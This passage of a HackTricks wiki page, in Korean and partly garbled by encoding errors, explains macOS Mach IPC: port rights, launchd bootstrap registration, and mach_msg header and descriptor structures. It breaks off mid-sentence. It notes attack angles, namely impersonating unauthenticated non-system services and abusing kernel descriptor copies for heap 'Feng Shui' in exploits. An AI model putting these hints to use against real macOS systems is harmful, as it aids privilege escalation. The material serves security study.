macOS IPC - Inter Process Communication

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

Mach λ©”μ‹œμ§•μ„ ν†΅ν•œ 포트

κΈ°λ³Έ 정보

MachλŠ” μž‘μ—…μ„ μžμ›μ„ κ³΅μœ ν•˜κΈ° μœ„ν•œ κ°€μž₯ μž‘μ€ λ‹¨μœ„λ‘œ μ‚¬μš©ν•˜λ©°, 각 μž‘μ—…μ€ μ—¬λŸ¬ μŠ€λ ˆλ“œλ₯Ό 포함할 수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ μž‘μ—…κ³Ό μŠ€λ ˆλ“œλŠ” POSIX ν”„λ‘œμ„ΈμŠ€μ™€ μŠ€λ ˆλ“œμ— 1:1둜 λ§€ν•‘λ©λ‹ˆλ‹€.

μž‘μ—… κ°„μ˜ 톡신은 Mach Inter-Process Communication (IPC)을 톡해 이루어지며, 단방ν–₯ 톡신 채널을 ν™œμš©ν•©λ‹ˆλ‹€. λ©”μ‹œμ§€λŠ” 포트 간에 μ „μ†‘λ˜λ©°, μ΄λŠ” 컀널에 μ˜ν•΄ κ΄€λ¦¬λ˜λŠ” μΌμ’…μ˜ λ©”μ‹œμ§€ 큐 역할을 ν•©λ‹ˆλ‹€.

ν¬νŠΈλŠ” Mach IPC의 κΈ°λ³Έ μš”μ†Œμž…λ‹ˆλ‹€. λ©”μ‹œμ§€λ₯Ό μ „μ†‘ν•˜κ³  μˆ˜μ‹ ν•˜λŠ” 데 μ‚¬μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€.

각 ν”„λ‘œμ„ΈμŠ€λŠ” IPC ν…Œμ΄λΈ”μ„ κ°€μ§€κ³  있으며, μ—¬κΈ°μ—μ„œ ν”„λ‘œμ„ΈμŠ€μ˜ mach 포트λ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. mach 포트의 이름은 μ‹€μ œλ‘œ 숫자(컀널 객체에 λŒ€ν•œ 포인터)μž…λ‹ˆλ‹€.

ν”„λ‘œμ„ΈμŠ€λŠ” λ˜ν•œ λ‹€λ₯Έ μž‘μ—…μ— 포트 이름과 일뢀 κΆŒν•œμ„ 전솑할 수 있으며, 컀널은 이 ν•­λͺ©μ„ λ‹€λ₯Έ μž‘μ—…μ˜ IPC ν…Œμ΄λΈ”μ— λ‚˜νƒ€λ‚˜κ²Œ ν•©λ‹ˆλ‹€.

포트 κΆŒν•œ

μž‘μ—…μ΄ μˆ˜ν–‰ν•  수 μžˆλŠ” μž‘μ—…μ„ μ •μ˜ν•˜λŠ” 포트 κΆŒν•œμ€ 이 ν†΅μ‹ μ˜ ν•΅μ‹¬μž…λ‹ˆλ‹€. κ°€λŠ₯ν•œ 포트 κΆŒν•œμ€ (μ •μ˜λŠ” μ—¬κΈ°μ„œ):

  • μˆ˜μ‹  κΆŒν•œ: 포트둜 μ „μ†‘λœ λ©”μ‹œμ§€λ₯Ό μˆ˜μ‹ ν•  수 있게 ν•΄μ€λ‹ˆλ‹€. Mach ν¬νŠΈλŠ” MPSC(닀쀑 μƒμ‚°μž, 단일 μ†ŒλΉ„μž) 큐둜, μ‹œμŠ€ν…œ μ „μ²΄μ—μ„œ 각 ν¬νŠΈμ— λŒ€ν•΄ ν•˜λ‚˜μ˜ μˆ˜μ‹  κΆŒν•œλ§Œ μ‘΄μž¬ν•  수 μžˆμŠ΅λ‹ˆλ‹€(νŒŒμ΄ν”„μ™€ 달리, μ—¬λŸ¬ ν”„λ‘œμ„ΈμŠ€κ°€ ν•˜λ‚˜μ˜ νŒŒμ΄ν”„μ˜ 읽기 끝에 λŒ€ν•œ 파일 μ„€λͺ…μžλ₯Ό κ°€μ§ˆ 수 μžˆμŠ΅λ‹ˆλ‹€).
  • μˆ˜μ‹  κΆŒν•œμ„ κ°€μ§„ μž‘μ—…μ€ λ©”μ‹œμ§€λ₯Ό μˆ˜μ‹ ν•˜κ³  전솑 κΆŒν•œμ„ 생성할 수 μžˆμ–΄ λ©”μ‹œμ§€λ₯Ό 보낼 수 μžˆμŠ΅λ‹ˆλ‹€. μ›λž˜λŠ” μžμ‹ μ˜ μž‘μ—…λ§Œμ΄ μžμ‹ μ˜ ν¬νŠΈμ— λŒ€ν•œ μˆ˜μ‹  κΆŒν•œμ„ κ°€μ§‘λ‹ˆλ‹€.
  • μˆ˜μ‹  κΆŒν•œμ˜ μ†Œμœ μžκ°€ μ£½κ±°λ‚˜ 이λ₯Ό μ’…λ£Œν•˜λ©΄, 전솑 κΆŒν•œμ€ μ“Έλͺ¨μ—†κ²Œ λ©λ‹ˆλ‹€(죽은 이름).
  • 전솑 κΆŒν•œ: 포트둜 λ©”μ‹œμ§€λ₯Ό 전솑할 수 있게 ν•΄μ€λ‹ˆλ‹€.
  • 전솑 κΆŒν•œμ€ 볡제될 수 μžˆμ–΄, 전솑 κΆŒν•œμ„ κ°€μ§„ μž‘μ—…μ΄ 이λ₯Ό λ³΅μ œν•˜κ³  μ„Έ 번째 μž‘μ—…μ— λΆ€μ—¬ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
  • 포트 κΆŒν•œμ€ Mac λ©”μ‹œμ§€λ₯Ό 톡해 전달될 수 μžˆμŠ΅λ‹ˆλ‹€.
  • μΌνšŒμ„± 전솑 κΆŒν•œ: ν¬νŠΈμ— ν•œ λ©”μ‹œμ§€λ₯Ό μ „μ†‘ν•˜κ³  μ‚¬λΌμ§‘λ‹ˆλ‹€.
  • 이 κΆŒν•œμ€ 볡제될 수 μ—†μ§€λ§Œ, 이동될 수 μžˆμŠ΅λ‹ˆλ‹€.
  • 포트 μ§‘ν•© κΆŒν•œ: 단일 ν¬νŠΈκ°€ μ•„λ‹Œ _포트 μ§‘ν•©_을 λ‚˜νƒ€λƒ…λ‹ˆλ‹€. 포트 μ§‘ν•©μ—μ„œ λ©”μ‹œμ§€λ₯Ό νμ—μ„œ μ œκ±°ν•˜λ©΄ κ·Έ μ•ˆμ— ν¬ν•¨λœ 포트 쀑 ν•˜λ‚˜μ—μ„œ λ©”μ‹œμ§€κ°€ μ œκ±°λ©λ‹ˆλ‹€. 포트 집합은 Unix의 select/poll/epoll/kqueue처럼 μ—¬λŸ¬ ν¬νŠΈμ—μ„œ λ™μ‹œμ— μˆ˜μ‹ ν•˜λŠ” 데 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
  • 죽은 이름: μ‹€μ œ 포트 κΆŒν•œμ΄ μ•„λ‹ˆλΌ λ‹¨μˆœν•œ 자리 ν‘œμ‹œμžμž…λ‹ˆλ‹€. ν¬νŠΈκ°€ 파괴되면, ν•΄λ‹Ή ν¬νŠΈμ— λŒ€ν•œ λͺ¨λ“  κΈ°μ‘΄ 포트 κΆŒν•œμ€ 죽은 μ΄λ¦„μœΌλ‘œ λ³€ν•©λ‹ˆλ‹€.

μž‘μ—…μ€ λ‹€λ₯Έ μž‘μ—…μ— SEND κΆŒν•œμ„ 전솑할 수 μžˆμ–΄, λ©”μ‹œμ§€λ₯Ό λ‹€μ‹œ 보낼 수 있게 λ©λ‹ˆλ‹€. SEND κΆŒν•œμ€ 볡제될 수 μžˆμ–΄, μž‘μ—…μ΄ 이λ₯Ό λ³΅μ œν•˜κ³  μ„Έ 번째 μž‘μ—…μ— λΆ€μ—¬ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„λΌλŠ” μ€‘κ°œ ν”„λ‘œμ„ΈμŠ€μ™€ κ²°ν•©λ˜μ–΄ μž‘μ—… κ°„μ˜ 효과적인 톡신을 κ°€λŠ₯ν•˜κ²Œ ν•©λ‹ˆλ‹€.

파일 포트

파일 ν¬νŠΈλŠ” Mac ν¬νŠΈμ—μ„œ 파일 μ„€λͺ…μžλ₯Ό μΊ‘μŠν™”ν•  수 있게 ν•΄μ€λ‹ˆλ‹€( Mach 포트 κΆŒν•œ μ‚¬μš©). μ£Όμ–΄μ§„ FDμ—μ„œ fileport_makeportλ₯Ό μ‚¬μš©ν•˜μ—¬ fileportλ₯Ό μƒμ„±ν•˜κ³ , νŒŒμΌν¬νŠΈμ—μ„œ FDλ₯Ό μƒμ„±ν•˜λ €λ©΄ fileport_makefdλ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€.

톡신 μ„€μ •

μ•žμ„œ μ–ΈκΈ‰ν–ˆλ“―μ΄, Mach λ©”μ‹œμ§€λ₯Ό μ‚¬μš©ν•˜μ—¬ κΆŒν•œμ„ 전솑할 수 μžˆμ§€λ§Œ, Mach λ©”μ‹œμ§€λ₯Ό 전솑할 κΆŒν•œμ΄ μ—†μœΌλ©΄ κΆŒν•œμ„ 전솑할 수 μ—†μŠ΅λ‹ˆλ‹€. κ·Έλ ‡λ‹€λ©΄ 첫 번째 톡신은 μ–΄λ–»κ²Œ μ„€μ •λ κΉŒμš”?

이λ₯Ό μœ„ν•΄ λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„(launchd in mac)κ°€ κ΄€μ—¬ν•˜λ©°, λͺ¨λ“  μ‚¬μš©μžκ°€ λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„μ— SEND κΆŒν•œμ„ 얻을 수 μžˆμœΌλ―€λ‘œ, λ‹€λ₯Έ ν”„λ‘œμ„ΈμŠ€μ— λ©”μ‹œμ§€λ₯Ό 전솑할 κΆŒν•œμ„ μš”μ²­ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  1. μž‘μ—… Aκ°€ μƒˆ 포트λ₯Ό μƒμ„±ν•˜κ³ , 그에 λŒ€ν•œ μˆ˜μ‹  κΆŒν•œμ„ μ–»μŠ΅λ‹ˆλ‹€.
  2. μž‘μ—… AλŠ” μˆ˜μ‹  κΆŒν•œμ˜ μ†Œμœ μžλ‘œμ„œ ν¬νŠΈμ— λŒ€ν•œ 전솑 κΆŒν•œμ„ μƒμ„±ν•©λ‹ˆλ‹€.
  3. μž‘μ—… AλŠ” λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„μ™€ 연결을 μ„€μ •ν•˜κ³ , 처음 μƒμ„±ν•œ ν¬νŠΈμ— λŒ€ν•œ 전솑 κΆŒν•œμ„ μ„œλ²„μ— μ „μ†‘ν•©λ‹ˆλ‹€.
  • λˆ„κ΅¬λ‚˜ λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„μ— SEND κΆŒν•œμ„ 얻을 수 μžˆλ‹€λŠ” 점을 κΈ°μ–΅ν•˜μ„Έμš”.
  1. μž‘μ—… AλŠ” λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„μ— bootstrap_register λ©”μ‹œμ§€λ₯Ό 보내 μ£Όμ–΄μ§„ 포트λ₯Ό com.apple.taska와 같은 이름에 μ—°κ²°ν•©λ‹ˆλ‹€.
  2. μž‘μ—… BλŠ” λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„μ™€ μƒν˜Έμž‘μš©ν•˜μ—¬ μ„œλΉ„μŠ€ 이름에 λŒ€ν•œ λΆ€νŠΈμŠ€νŠΈλž© 쑰회λ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€(bootstrap_lookup). λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„κ°€ 응닡할 수 μžˆλ„λ‘, μž‘μ—… BλŠ” 쑰회 λ©”μ‹œμ§€ λ‚΄μ—μ„œ 이전에 μƒμ„±ν•œ ν¬νŠΈμ— λŒ€ν•œ SEND κΆŒν•œμ„ μ „μ†‘ν•©λ‹ˆλ‹€. μ‘°νšŒκ°€ μ„±κ³΅ν•˜λ©΄, μ„œλ²„λŠ” μž‘μ—… Aλ‘œλΆ€ν„° 받은 SEND κΆŒν•œμ„ λ³΅μ œν•˜μ—¬ μž‘μ—… B에 μ „μ†‘ν•©λ‹ˆλ‹€.
  • λˆ„κ΅¬λ‚˜ λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„μ— SEND κΆŒν•œμ„ 얻을 수 μžˆλ‹€λŠ” 점을 κΈ°μ–΅ν•˜μ„Έμš”.
  1. 이 SEND κΆŒν•œμœΌλ‘œ μž‘μ—… BλŠ” μž‘μ—… A에 λ©”μ‹œμ§€λ₯Ό 전솑할 수 μžˆμŠ΅λ‹ˆλ‹€.
  2. μ–‘λ°©ν–₯ 톡신을 μœ„ν•΄ 일반적으둜 μž‘μ—… BλŠ” μˆ˜μ‹  κΆŒν•œκ³Ό 전솑 κΆŒν•œμ„ κ°€μ§„ μƒˆ 포트λ₯Ό μƒμ„±ν•˜κ³ , SEND κΆŒν•œμ„ μž‘μ—… A에 λΆ€μ—¬ν•˜μ—¬ μž‘μ—… B에 λ©”μ‹œμ§€λ₯Ό 보낼 수 있게 ν•©λ‹ˆλ‹€(μ–‘λ°©ν–₯ 톡신).

λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„λŠ” μž‘μ—…μ΄ μ£Όμž₯ν•˜λŠ” μ„œλΉ„μŠ€ 이름을 인증할 수 μ—†μŠ΅λ‹ˆλ‹€. μ΄λŠ” μž‘μ—…μ΄ 잠재적으둜 λͺ¨λ“  μ‹œμŠ€ν…œ μž‘μ—…μ„ κ°€μž₯ν•  수 μžˆμŒμ„ μ˜λ―Έν•©λ‹ˆλ‹€, 예λ₯Ό λ“€μ–΄ 잘λͺ»λœ 인증 μ„œλΉ„μŠ€ 이름을 μ£Όμž₯ν•˜κ³  λͺ¨λ“  μš”μ²­μ„ μŠΉμΈν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€.

그런 λ‹€μŒ Apple은 μ‹œμŠ€ν…œ 제곡 μ„œλΉ„μŠ€μ˜ 이름을 λ³΄μ•ˆ ꡬ성 νŒŒμΌμ— μ €μž₯ν•˜λ©°, 이 νŒŒμΌμ€ SIP 보호 디렉토리에 μœ„μΉ˜ν•©λ‹ˆλ‹€: /System/Library/LaunchDaemons 및 /System/Library/LaunchAgents. 각 μ„œλΉ„μŠ€ 이름과 ν•¨κ»˜ μ—°κ΄€λœ λ°”μ΄λ„ˆλ¦¬λ„ μ €μž₯λ©λ‹ˆλ‹€. λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„λŠ” μ΄λŸ¬ν•œ μ„œλΉ„μŠ€ 이름 각각에 λŒ€ν•΄ μˆ˜μ‹  κΆŒν•œμ„ μƒμ„±ν•˜κ³  μœ μ§€ν•©λ‹ˆλ‹€.

μ΄λŸ¬ν•œ 미리 μ •μ˜λœ μ„œλΉ„μŠ€μ— λŒ€ν•΄ 쑰회 ν”„λ‘œμ„ΈμŠ€λŠ” μ•½κ°„ λ‹€λ¦…λ‹ˆλ‹€. μ„œλΉ„μŠ€ 이름이 쑰회될 λ•Œ, launchdλŠ” μ„œλΉ„μŠ€λ₯Ό λ™μ μœΌλ‘œ μ‹œμž‘ν•©λ‹ˆλ‹€. μƒˆλ‘œμš΄ μ›Œν¬ν”Œλ‘œμš°λŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

  • μž‘μ—… Bκ°€ μ„œλΉ„μŠ€ 이름에 λŒ€ν•œ λΆ€νŠΈμŠ€νŠΈλž© 쑰회λ₯Ό μ‹œμž‘ν•©λ‹ˆλ‹€.
  • launchdλŠ” μž‘μ—…μ΄ μ‹€ν–‰ 쀑인지 ν™•μΈν•˜κ³ , μ‹€ν–‰ 쀑이 μ•„λ‹ˆλ©΄ μ‹œμž‘ν•©λ‹ˆλ‹€.
  • μž‘μ—… A(μ„œλΉ„μŠ€)λŠ” λΆ€νŠΈμŠ€νŠΈλž© 체크인(bootstrap_check_in())을 μˆ˜ν–‰ν•©λ‹ˆλ‹€. μ—¬κΈ°μ„œ λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„λŠ” SEND κΆŒν•œμ„ μƒμ„±ν•˜κ³  이λ₯Ό μœ μ§€ν•˜λ©°, μˆ˜μ‹  κΆŒν•œμ„ μž‘μ—… A에 μ „μ†‘ν•©λ‹ˆλ‹€.
  • launchdλŠ” SEND κΆŒν•œμ„ λ³΅μ œν•˜μ—¬ μž‘μ—… B에 μ „μ†‘ν•©λ‹ˆλ‹€.
  • μž‘μ—… BλŠ” μˆ˜μ‹  κΆŒν•œκ³Ό 전솑 κΆŒν•œμ„ κ°€μ§„ μƒˆ 포트λ₯Ό μƒμ„±ν•˜κ³ , SEND κΆŒν•œμ„ μž‘μ—… A(svc)에 λΆ€μ—¬ν•˜μ—¬ μž‘μ—… B에 λ©”μ‹œμ§€λ₯Ό 보낼 수 있게 ν•©λ‹ˆλ‹€(μ–‘λ°©ν–₯ 톡신).

κ·ΈλŸ¬λ‚˜ 이 ν”„λ‘œμ„ΈμŠ€λŠ” 미리 μ •μ˜λœ μ‹œμŠ€ν…œ μž‘μ—…μ—λ§Œ μ μš©λ©λ‹ˆλ‹€. λΉ„μ‹œμŠ€ν…œ μž‘μ—…μ€ μ—¬μ „νžˆ μ›λž˜ μ„€λͺ…λœ λŒ€λ‘œ μž‘λ™ν•˜λ©°, μ΄λŠ” 잠재적으둜 κ°€μž₯ν•  수 μžˆλŠ” κ°€λŠ₯성을 ν—ˆμš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Caution

λ”°λΌμ„œ, launchdλŠ” μ ˆλŒ€ μΆ©λŒν•΄μ„œλŠ” μ•ˆ 되며, κ·Έλ ‡μ§€ μ•ŠμœΌλ©΄ 전체 μ‹œμŠ€ν…œμ΄ μΆ©λŒν•  κ²ƒμž…λ‹ˆλ‹€.

Mach λ©”μ‹œμ§€

μ—¬κΈ°μ—μ„œ 더 λ§Žμ€ 정보λ₯Ό μ°ΎμœΌμ„Έμš”

mach_msg ν•¨μˆ˜λŠ” 본질적으둜 μ‹œμŠ€ν…œ 호좜둜, Mach λ©”μ‹œμ§€λ₯Ό μ „μ†‘ν•˜κ³  μˆ˜μ‹ ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. 이 ν•¨μˆ˜λŠ” 전솑할 λ©”μ‹œμ§€λ₯Ό 초기 인수둜 μš”κ΅¬ν•©λ‹ˆλ‹€. 이 λ©”μ‹œμ§€λŠ” mach_msg_header_t ꡬ쑰체둜 μ‹œμž‘ν•΄μ•Ό ν•˜λ©°, κ·Έ 뒀에 μ‹€μ œ λ©”μ‹œμ§€ λ‚΄μš©μ΄ 이어져야 ν•©λ‹ˆλ‹€. κ΅¬μ‘°μ²΄λŠ” λ‹€μŒκ³Ό 같이 μ •μ˜λ©λ‹ˆλ‹€:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

ν”„λ‘œμ„ΈμŠ€κ°€ _μˆ˜μ‹  κΆŒν•œ_을 κ°€μ§€κ³  있으면 Mach ν¬νŠΈμ—μ„œ λ©”μ‹œμ§€λ₯Ό μˆ˜μ‹ ν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ°˜λŒ€λ‘œ, λ°œμ‹ μžλŠ” 전솑 λ˜λŠ” _μΌνšŒμ„± 전솑 κΆŒν•œ_을 λΆ€μ—¬λ°›μŠ΅λ‹ˆλ‹€. μΌνšŒμ„± 전솑 κΆŒν•œμ€ 단일 λ©”μ‹œμ§€λ₯Ό μ „μ†‘ν•˜λŠ” 데만 μ‚¬μš©λ˜λ©°, κ·Έ ν›„μ—λŠ” λ¬΄νš¨κ°€ λ©λ‹ˆλ‹€.

초기 ν•„λ“œ **msgh_bits**λŠ” λΉ„νŠΈλ§΅μž…λ‹ˆλ‹€:

  • 첫 번째 λΉ„νŠΈ(κ°€μž₯ μ€‘μš”ν•œ λΉ„νŠΈ)λŠ” λ©”μ‹œμ§€κ°€ λ³΅μž‘ν•˜λ‹€λŠ” 것을 λ‚˜νƒ€λ‚΄λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€(μžμ„Έν•œ λ‚΄μš©μ€ μ•„λž˜ μ°Έμ‘°).
  • 3번째 및 4번째 λΉ„νŠΈλŠ” μ»€λ„μ—μ„œ μ‚¬μš©λ©λ‹ˆλ‹€.
  • 두 번째 λ°”μ΄νŠΈμ˜ 5개의 κ°€μž₯ 덜 μ€‘μš”ν•œ λΉ„νŠΈλŠ” λ°”μš°μ²˜μ— μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€: ν‚€/κ°’ 쑰합을 μ „μ†‘ν•˜λŠ” 또 λ‹€λ₯Έ μœ ν˜•μ˜ ν¬νŠΈμž…λ‹ˆλ‹€.
  • μ„Έ 번째 λ°”μ΄νŠΈμ˜ 5개의 κ°€μž₯ 덜 μ€‘μš”ν•œ λΉ„νŠΈλŠ” 둜컬 ν¬νŠΈμ— μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
  • λ„€ 번째 λ°”μ΄νŠΈμ˜ 5개의 κ°€μž₯ 덜 μ€‘μš”ν•œ λΉ„νŠΈλŠ” 원격 ν¬νŠΈμ— μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

λ°”μš°μ²˜, 둜컬 및 원격 ν¬νŠΈμ—μ„œ μ§€μ •ν•  수 μžˆλŠ” μœ ν˜•μ€ λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€(좜처: mach/message.h):

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

예λ₯Ό λ“€μ–΄, MACH_MSG_TYPE_MAKE_SEND_ONCEλŠ” 이 ν¬νŠΈμ— λŒ€ν•΄ 전솑-ν•œλ²ˆ κΆŒν•œμ΄ νŒŒμƒλ˜κ³  μ „μ†‘λ˜μ–΄μ•Ό 함을 λ‚˜νƒ€λ‚΄κΈ° μœ„ν•΄ μ‚¬μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. μˆ˜μ‹ μžκ°€ 응닡할 수 없도둝 MACH_PORT_NULL둜 μ§€μ •ν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€.

μ‰¬μš΄ μ–‘λ°©ν–₯ 톡신을 λ‹¬μ„±ν•˜κΈ° μœ„ν•΄ ν”„λ‘œμ„ΈμŠ€λŠ” 응닡 포트 (msgh_local_port)라고 λΆˆλ¦¬λŠ” mach λ©”μ‹œμ§€ 헀더에 mach 포트λ₯Ό μ§€μ •ν•  수 있으며, μ—¬κΈ°μ„œ λ©”μ‹œμ§€μ˜ μˆ˜μ‹ μžλŠ” 이 λ©”μ‹œμ§€μ— 응닡을 보낼 수 μžˆμŠ΅λ‹ˆλ‹€.

Tip

μ΄λŸ¬ν•œ μ’…λ₯˜μ˜ μ–‘λ°©ν–₯ 톡신은 응닡을 κΈ°λŒ€ν•˜λŠ” XPC λ©”μ‹œμ§€μ—μ„œ μ‚¬μš©λœλ‹€λŠ” 점에 μœ μ˜ν•˜μ‹­μ‹œμ˜€ (xpc_connection_send_message_with_reply 및 xpc_connection_send_message_with_reply_sync). κ·ΈλŸ¬λ‚˜ 일반적으둜 μ–‘λ°©ν–₯ 톡신을 μƒμ„±ν•˜κΈ° μœ„ν•΄ 이전에 μ„€λͺ…ν•œ λŒ€λ‘œ λ‹€λ₯Έ ν¬νŠΈκ°€ μƒμ„±λ©λ‹ˆλ‹€.

λ©”μ‹œμ§€ ν—€λ”μ˜ λ‹€λ₯Έ ν•„λ“œλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

  • msgh_size: 전체 νŒ¨ν‚·μ˜ 크기.
  • msgh_remote_port: 이 λ©”μ‹œμ§€κ°€ μ „μ†‘λ˜λŠ” 포트.
  • msgh_voucher_port: mach λ°”μš°μ²˜.
  • msgh_id: μˆ˜μ‹ μžκ°€ ν•΄μ„ν•˜λŠ” 이 λ©”μ‹œμ§€μ˜ ID.

Caution

mach λ©”μ‹œμ§€λŠ” mach portλ₯Ό 톡해 μ „μ†‘λœλ‹€λŠ” 점에 μœ μ˜ν•˜μ‹­μ‹œμ˜€, μ΄λŠ” mach 컀널에 λ‚΄μž₯된 단일 μˆ˜μ‹ μž, 닀쀑 λ°œμ‹ μž 톡신 μ±„λ„μž…λ‹ˆλ‹€. μ—¬λŸ¬ ν”„λ‘œμ„ΈμŠ€κ°€ mach ν¬νŠΈμ— λ©”μ‹œμ§€λ₯Ό 보낼 수 μžˆμ§€λ§Œ, μ–Έμ œλ“ μ§€ 단일 ν”„λ‘œμ„ΈμŠ€λ§Œ 읽을 수 μžˆμŠ΅λ‹ˆλ‹€.

λ©”μ‹œμ§€λŠ” mach_msg_header_t ν—€λ”λ‘œ ν˜•μ„±λ˜λ©°, κ·Έ 뒀에 λ³Έλ¬Έκ³Ό 트레일러(μžˆλŠ” 경우)κ°€ λ”°λ₯΄λ©°, 응닡할 수 μžˆλŠ” κΆŒν•œμ„ λΆ€μ—¬ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ 경우, 컀널은 λ‹¨μˆœνžˆ λ©”μ‹œμ§€λ₯Ό ν•œ μž‘μ—…μ—μ„œ λ‹€λ₯Έ μž‘μ—…μœΌλ‘œ μ „λ‹¬ν•˜λ©΄ λ©λ‹ˆλ‹€.

νŠΈλ ˆμΌλŸ¬λŠ” 컀널에 μ˜ν•΄ λ©”μ‹œμ§€μ— μΆ”κ°€λœ 정보(μ‚¬μš©μžκ°€ μ„€μ •ν•  수 μ—†μŒ)둜, MACH_RCV_TRAILER_<trailer_opt> ν”Œλž˜κ·Έλ‘œ λ©”μ‹œμ§€ μˆ˜μ‹  μ‹œ μš”μ²­ν•  수 μžˆμŠ΅λ‹ˆλ‹€(μš”μ²­ν•  수 μžˆλŠ” λ‹€μ–‘ν•œ 정보가 μžˆμŠ΅λ‹ˆλ‹€).

λ³΅μž‘ν•œ λ©”μ‹œμ§€

κ·ΈλŸ¬λ‚˜ μΆ”κ°€ 포트 κΆŒν•œμ„ μ „λ‹¬ν•˜κ±°λ‚˜ λ©”λͺ¨λ¦¬λ₯Ό κ³΅μœ ν•˜λŠ” 것과 같은 더 λ³΅μž‘ν•œ λ©”μ‹œμ§€κ°€ 있으며, 이 경우 컀널은 μ΄λŸ¬ν•œ 객체λ₯Ό μˆ˜μ‹ μžμ—κ²Œ 전솑해야 ν•©λ‹ˆλ‹€. 이 경우 헀더 msgh_bits의 κ°€μž₯ μ€‘μš”ν•œ λΉ„νŠΈκ°€ μ„€μ •λ©λ‹ˆλ‹€.

전달할 수 μžˆλŠ” κ°€λŠ₯ν•œ μ„€λͺ…μžλŠ” mach/message.hμ—μ„œ μ •μ˜λ©λ‹ˆλ‹€:

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

In 32λΉ„νŠΈμ—μ„œλŠ” λͺ¨λ“  μ„€λͺ…μžκ°€ 12B이고 μ„€λͺ…μž μœ ν˜•μ€ 11λ²ˆμ§Έμ— μžˆμŠ΅λ‹ˆλ‹€. 64λΉ„νŠΈμ—μ„œλŠ” 크기가 λ‹€λ¦…λ‹ˆλ‹€.

Caution

컀널은 ν•œ μž‘μ—…μ—μ„œ λ‹€λ₯Έ μž‘μ—…μœΌλ‘œ μ„€λͺ…μžλ₯Ό λ³΅μ‚¬ν•˜μ§€λ§Œ λ¨Όμ € 컀널 λ©”λͺ¨λ¦¬μ— 볡사본을 μƒμ„±ν•©λ‹ˆλ‹€. β€œFeng Shuiβ€œλ‘œ μ•Œλ €μ§„ 이 κΈ°μˆ μ€ μ—¬λŸ¬ μ΅μŠ€ν”Œλ‘œμž‡μ—μ„œ λ‚¨μš©λ˜μ–΄ 컀널이 μžμ‹ μ˜ λ©”λͺ¨λ¦¬μ— 데이터λ₯Ό λ³΅μ‚¬ν•˜κ²Œ ν•˜μ—¬ ν”„λ‘œμ„ΈμŠ€κ°€ μžμ‹ μ—κ²Œ μ„€λͺ…μžλ₯Ό μ „μ†‘ν•˜κ²Œ λ§Œλ“­λ‹ˆλ‹€. 그런 λ‹€μŒ ν”„λ‘œμ„ΈμŠ€λŠ” λ©”μ‹œμ§€λ₯Ό μˆ˜μ‹ ν•  수 μžˆμŠ΅λ‹ˆλ‹€(컀널이 이λ₯Ό ν•΄μ œν•  